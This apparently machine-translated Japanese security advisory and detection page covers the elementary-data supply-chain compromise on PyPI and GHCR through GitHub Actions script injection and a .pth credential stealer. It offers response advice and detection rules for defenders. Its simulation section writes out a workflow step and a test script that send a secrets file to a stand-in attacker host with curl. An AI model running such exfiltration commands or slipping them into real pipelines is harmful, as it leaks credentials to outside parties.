偽のGitHubリリースを介してPyPIおよびGHCRでElementary-dataが侵害される
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
悪質なバージョンの elementary-data Pythonパッケージ、バージョン 0.23.3がPyPIにアップロードされ、それと一致する改ざんされたコンテナイメージがGitHub Container Registryにもプッシュされました。攻撃者は悪意のあるコードをGitHub Actionsのワークフローに挿入し、署名されたリリースを偽造してからワークフロートークンを濫用してバックドア付きアーティファクトを公開しました。このペイロードは三段階の資格情報盗難ツールとして機能し、秘密を収集し、攻撃者が制御するドメインに流出させるように設計されていました。影響を受けたパッケージをインストールしたり最新のコンテナイメージをプルした環境はすべて、危険にさらされています。
調査
調査では、攻撃は直接ワークフロースクリプトに挿入されたオープンプルリクエストのコメントから始まったことが判明しました。このコメントによってスクリプトインジェクションが可能になりました。ワークフローの GITHUB_TOKENを利用して、攻撃者は偽造されたリリースコミットを作成し、発行プロセスをトリガーしました。このプロセスにより、トロイの木馬化されたホイールとDockerイメージが配布されました。解析により、悪質な .pth ファイルがBase64ラッパーをデコードし、最終コレクションコンポーネントを復号し、広範な資格情報を収集してから、 curl.
を通じてカスタムの指揮統制ドメインに送信することが判明しました。
プロジェクトメンテナーは悪質なパッケージバージョンをPyPIから削除し、ガチコンプロミスされたイメージをGHCRから削除して、クリーンな代替品のバージョン 0.23.4を公開しました。StepSecurityはHarden-Runnerブロックリストに悪質なパッケージバージョンと攻撃者が制御するドメインを追加し、プルリクエストの実行中にパッケージをブロックしました。開発者はパッケージバージョンとイメージダイジェストを正確にピン留めし、浮動タグに依存せず、予期しない .pth ファイルに対してインストールされた依存関係を監査する必要があります。
対応
ディフェンダーは elementary.pth が site-packages 内に存在するかを調査し、疑わしいDockerイメージダイジェストを取得したシステムを特定する必要があります。既知の指揮統制ドメインへのアウトバウンド接続をすぐにブロックする必要があります。セキュリティチームは開発者のワークステーションとビルド環境をスキャンして公開された秘密情報を検出し、危険にさらされたパッケージを除去し、影響を受けた資格情報を更新するべきです。CI/CDパイプラインを更新してパッケージの出処を検証し、厳格なイメージピンニングを強制する必要もあります。
アタックフロー
検出
可能なデータの流入/流出/サードパーティサービス/ツール経由のC2(プロキシ経由)
ビュー
可能なデータの流入/流出/サードパーティサービス/ツール経由のC2(DNS経由)
ビュー
標準ツールを使用したリモートファイルのアップロード/ダウンロード(コマンドライン経由)
ビュー
IOC (HashSha1) を検出する: PyPIとGHCRでのelementary-data妥協: GitHub Actionsスクリプトインジェクションによる偽のリリースのプッシュ
ビュー
GitHub Actionsでのスクリプトインジェクションによる悪意のあるデータ流出の検出 [Linuxプロセス作成]
ビュー
資格奪取装置付きの悪質なelementary-dataパッケージの検出 [Linuxファイルイベント]
ビュー
## シミュレーション実行
前提条件: テレメトリ & ベースラインのプレフライトチェックを通過している必要があります。
根拠:このセクションでは、検出ルールをトリガーするために設計された敵の技術戦術手段(TTP)の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目的としています。
-
攻撃の話 & コマンド:
攻撃者はGitHub ActionsをCI/CDに使用するリポジトリを侵害しました。彼らはワークフローファイルに悪意のあるステップを追加します:- name: データを流出 run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"ワークフローがGitHub Actionsランナーで実行されると、プロセスツリーは次のように見えます:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(親プロセス)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(子プロセス)
The
auditdステップ2の記録には、Sigma条件を満たすコマンドラインが含まれています。bashandcurl --data-binary。 -
回帰テストスクリプト:
#!/usr/bin/env bash # # 検出ルールをトリガーする悪意のあるGitHub Actionsステップをシミュレートします。 # 一時的なファイルを作成し、ダミーデータを書き込み、それをbashでラップしたcurlを使用して流出させます。 set -euo pipefail # 1. ダミーの秘密データを作成 tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. 脆弱なパターンを利用して流出を実行 bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. テスターへの確認出力 echo "悪意のある流出がシミュレートされました;一時ファイル$tmpfileはクリーンアップで削除されるべきです。" -
クリーンアップコマンド:
#!/usr/bin/env bash # シミュレーション中に作成された一時ファイルを削除 rm -f /tmp/secret_data.* # オプションですが、残存しているかもしれないcurlプロセスを停止(必要ないはず) pkill -f "curl --data-binary" || true